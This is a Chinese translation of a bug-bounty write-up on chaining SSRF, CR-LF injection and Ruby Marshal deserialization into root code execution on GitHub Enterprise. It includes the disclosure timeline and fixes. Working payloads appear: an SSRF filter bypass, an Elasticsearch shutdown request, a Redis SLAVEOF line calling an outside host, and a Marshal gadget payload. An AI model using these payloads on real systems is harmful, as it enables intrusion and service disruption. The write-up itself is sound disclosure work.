GitHub Enterprise漏洞链:从SSRF到RCE的四个漏洞利用

本文详细描述了如何通过串联四个漏洞(包括SSRF绕过、Graphite服务SSRF、Python CR-LF注入和不安全的反序列化),最终在GitHub Enterprise上实现远程代码执行(RCE)的完整过程。

GitHub Enterprise漏洞链:从SSRF到RCE的四个漏洞利用

大家好,我是Orange。距离我上次写博客已经有一段时间了。

在过去的几个月里,我花了很多时间准备Black Hat USA 2017和DEF CON 25的演讲。成为Black Hat和DEFCON的演讲者一直是我的人生目标之一。这也是我在如此正式的会议上第一次用英语演讲,真是一次难忘的经历:P

感谢评审委员会的认可。

这篇文章是我演讲中的一个简单案例研究。这里的技术并不新鲜,但我会向你展示这些老技巧有多么强大!如果你感兴趣,可以在这里查看幻灯片:

《SSRF的新时代 - 利用流行编程语言中的URL解析器!》

幻灯片涵盖了更强大的SSRF新方法以及本文未包含的其他技术。

在本文中,我将向你展示一个漂亮的漏洞利用链,它将4个漏洞串联起来,最终在GitHub Enterprise上实现了远程代码执行(RCE)。这个漏洞还获得了GitHub第三届漏洞赏金周年促销活动的"最佳报告"奖励!

前言

在我上一篇博客文章中,我提到了新目标 - GitHub Enterprise,并演示了如何反混淆Ruby代码并在其上找到SQL注入。之后,我看到几位漏洞赏金猎人开始关注GitHub Enterprise,并发现了许多惊人的漏洞,比如:

  • ilektrojohn的《通往你代码库的道路铺满了伪造的断言》
  • iblue的《GitHub Enterprise远程代码执行》

看到这些文章后,我有点沮丧,责怪自己为什么没有注意到这些。

因此,我下定决心要找到一个别人没有发现的关键漏洞。当然,是用我自己的方式!

漏洞

在检查GitHub Enterprise的架构之前,我的直觉告诉我,GitHub Enterprise内部有许多服务。如果我能与它们互动,我相信我能发现一些有趣的东西。

所以,我专注于寻找服务器端请求伪造(SSRF)漏洞。

第一个漏洞 - 无害的SSRF

在使用GitHub Enterprise时,我注意到一个有趣的功能叫做WebHook。它可以在特定的GIT命令发生时定义一个自定义的HTTP回调。

你可以从以下URL创建一个HTTP回调:

1
https://<host>/<user>/<repo>/settings/hooks/new

并通过提交文件来触发它。GitHub Enterprise会通过HTTP请求通知你。有效载荷和请求如下:

有效载荷URL:

1
http://orange.tw/foo.php

回调请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972

payload=...

GitHub Enterprise使用Ruby Gem faraday来获取外部资源,并通过Gem faraday-restrict-ip-addresses防止用户请求内部服务。

这个Gem似乎只是一个黑名单,可以通过RFC 3986中定义的罕见IP地址格式轻松绕过。在Linux中,0代表localhost。

PoC:

1
http://0/

好了,我们现在有一个SSRF了。然而,我们仍然不能做任何事情。为什么?

这个SSRF有几个限制:

  • 仅支持POST方法
  • 仅允许HTTP和HTTPS方案
  • 不支持302重定向
  • 在faraday中无法进行CR-LF注入
  • 无法控制POST数据和HTTP头

唯一可以控制的是路径部分。

但是,值得一提的是,这个SSRF可以导致拒绝服务(DoS)。

有一个Elasticsearch服务绑定在端口9200上。在shutdown命令中,Elasticsearch不关心POST数据是什么。因此,你可以玩它的REST-ful API来取乐:P

拒绝服务PoC:

1
http://0:9200/_shutdown/

第二个漏洞 - 内部Graphite中的SSRF

我们现在有一个SSRF,但有很多限制。我能做什么? 我的下一个想法是 - 有没有我们可以利用的内网服务?

这是一项大工程。内部有几个HTTP服务,每个服务基于不同的语言实现,如C/C++、Go、Python和Ruby…

经过几天的挖掘,我发现有一个叫做Graphite的服务运行在端口8000上。Graphite是一个高度可扩展的实时图形系统,GitHub使用这个系统向用户显示一些统计数据。

Graphite是用Python编写的,也是一个开源项目,你可以在这里下载源代码!

通过阅读源代码,我很快在这里发现了另一个SSRF。第二个SSRF很简单。

在文件webapps/graphite/composer/views.py中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

你可以看到Graphite接收用户输入的url并直接获取它!所以,我们可以使用第一个SSRF来触发第二个SSRF,并将它们组合成一个SSRF执行链。

SSRF执行链有效载荷:

1
2
3
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

第二个SSRF的请求:

1
2
3
4
5
6
$ nc -vvlp 12345
...

GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

好了,我们成功地将基于POST的SSRF变成了基于GET的SSRF。但仍然不能做任何事情。

让我们进入下一阶段!

第三个漏洞 - Python中的CR-LF注入

如你所见,Graphite使用Python的httplib.HTTPConnection来获取资源。经过一些尝试和错误,我注意到httplib.HTTPConnection中存在CR-LF注入。因此,我们可以在HTTP协议中嵌入恶意负载。

CR-LF注入PoC:

1
2
3
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo:
1
2
3
4
5
6
7
8
$ nc -vvlp 12345
...

GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

这是一小步,但对整个漏洞利用链来说是一个巨大的飞跃。现在,我可以在这个SSRF执行链中走私其他协议。例如,如果我们想玩Redis,可以尝试以下有效载荷:

1
2
3
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

注意:SLAVEOF是一个非常棒的命令,可以让你产生出站流量。当面对一些盲SSRF时,这是一个有用的技巧!

看起来很棒!然而,协议走私也有一些限制:

  • 需要握手的协议如SSH、MySQL和SSL会失败
  • 由于Python2的限制,我们在第二个SSRF中使用的有效载荷只允许0x00到0x8F的字节

顺便说一下,在HTTP方案中走私协议的方法不止一种。在我的幻灯片中,我还展示了如何利用Linux Glibc的特性通过SSL SNI走私协议,以及一个绕过Python CVE-2016-5699的案例研究!

如果你感兴趣,可以查看一下 :)

第四个漏洞 - 不安全的反序列化

现在,我们有了在HTTP协议中走私其他协议的能力,但下一个问题是,我选择走私什么协议?

我花了很多时间研究如果我能控制Redis或Memcached,可以触发什么漏洞。

在审查源代码时,我很好奇为什么GitHub可以在Memcached中存储Ruby对象。经过一些挖掘,我发现GitHub Enterprise使用Ruby Gem memcached来处理缓存,并且缓存是用Marshal包装的。

这对我来说是个好消息。每个人都知道Marshal是危险的。

(如果你不知道,我推荐你阅读@frohoff和@gebl在AppSec California 2015上的幻灯片《Marshalling Pickles》)

所以,我们的目标很明确。

我们使用SSRF执行链在Memcached中存储恶意的Ruby对象。下次GitHub获取缓存时,Ruby Gem memcached会自动反序列化数据。结果是… BOOM!远程代码执行!XD

Rails控制台中的不安全Marshal:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails

irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true

irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET"

irb(main):005:0> code = "`id`"
=> "`id`"

irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult"

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true

irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"

好了,让我们总结一下我们的步骤!

  1. 第一个SSRF - 绕过Webhook中的现有保护
  2. 第二个SSRF - Graphite服务中的SSRF
  3. 将第一个SSRF和第二个SSRF串联成SSRF执行链
  4. SSRF执行链中的CR-LF注入
  5. 作为Memcached协议走私并插入恶意的Marshal对象
  6. 触发RCE

漏洞利用概览

最终的漏洞利用可以在Gist上找到,视频可以在Youtube上观看。

修复

GitHub已经做了许多改进来防止相关问题再次发生!

  • 增强了Gem faraday-restrict-ip-addresses
  • 应用了自定义的Django中间件,确保攻击者无法访问http://127.0.0.1:8000/render/之外的路径
  • 增强了iptables规则,阻止带有User-Agent: GitHub-Hookshot模式的访问
1
2
3
4
$ cat /etc/ufw/before.rules
...
-A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp-flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp-reset
...

时间线

  • 2017/01/23 23:22 通过HackerOne向GitHub报告漏洞,分配报告编号200542
  • 2017/01/23 23:37 GitHub将状态更改为Triaged。
  • 2017/01/24 04:43 GitHub回应问题已验证并正在修复。
  • 2017/01/31 14:01 发布GitHub Enterprise 2.8.7。
  • 2017/02/01 01:02 GitHub回应此问题已修复!
  • 2017/02/01 01:02 GitHub奖励7,500美元赏金!
  • 2017/03/15 02:38 GitHub奖励5,000美元最佳报告奖金。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计